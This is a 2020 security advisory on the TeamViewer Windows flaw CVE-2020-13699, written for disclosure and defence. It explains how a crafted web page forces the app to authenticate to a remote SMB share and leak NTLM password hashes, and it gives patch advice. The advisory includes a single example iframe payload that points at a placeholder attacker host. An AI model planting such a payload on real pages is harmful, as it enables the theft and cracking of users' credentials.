Serianu Cyber Security Advisory

TeamViewer Flaw in Windows App Allows Password-Cracking

Serianu SOC Advisory Number:

TA – 2020/010

Date(s) issued:

24th August 2020

Systems Affected

TeamViewer Desktop App prior to 15.8.3

OVERVIEW

During this pandemic period, the concept of remote working has become popular for most organisations. To continue enhancing organisation's operations, the use of TeamViewer has increased due to many employees working from home.

Serianu threat intelligence team identified TeamViewer flaw in windows application which could allow offline password cracking. TeamViewer is a program used for remote control, desktop sharing, online meetings, web conferencing and file transfer between systems. The remote access software is available for desktop and mobile operating systems including Windows, macOS, Linux, Chrome OS, iOS, Android, Windows RT, Windows Phone 8 and BlackBerry. It is also possible to access a system running TeamViewer with a web browser.

Successful exploitation of this vulnerability (CVE-2020-13699), could allow remote attackers to steal user's password and compromise their system. This attack can also be executed by convincing users to visit a malicious web page.

(CVE-2020-13699) Vulnerability Details

CVE-2020-13699 is a security weakness arising from the applications inability to correctly reference its custom URI handler and could be exploited when the system with a vulnerable version of TeamViewer installed visits a maliciously crafted website.

To successfully exploit the vulnerability, an attacker needs to embed a malicious iframe on a website (iframe src=’teamviewer10: –play \\attacker-IP\share\fake.tvs’) and then tricks victims into visiting that maliciously crafted URL. Once clicked by the victim, TeamViewer will automatically launch its Windows desktop client and open a remote SMB share. The embedded link once clicked, diverts the applications connections to the attacker remote server over the server message block (SMB) port which in many cases has limited monitoring. SMB is a network protocol that is used by windows-based systems for file sharing activities. After a connection over SMB is initiated by the application windows then makes a connection using NT LAN manager (NTLM) which uses an encrypted protocol to authenticate a user without transferring the user’s password.

These vulnerability results to attackers obtaining sensitive credential information including, Domain name, user name and one-way password hash. The credentials are relayed to the attacker which grants them access to the compromised machines and also allows them to capture password hashes which can be cracked to reveal the user’s credentials.

RECOMMENDATIONS:

TeamViewer versions prior to 15.8.3 are vulnerable.

The bug affects the following versions of TeamViewer: teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1 and tvvpn1.

Serianu recommends the following actions to be taken:

- Users to apply appropriate patches from TeamViewer to the vulnerable systems.
- Organisations to train users not to visit un-trusted websites or follow links provided by unknown or un-trusted sources.
- Educate users on the threats posed by hypertext links contained in emails or attachments from un-trusted sources.

Information Sharing

As a means of preventing such attacks from occurring, we encourage any organization or individual that has access to TeamViewer related vulnerabilities share it with us through our email: info@serianu.com.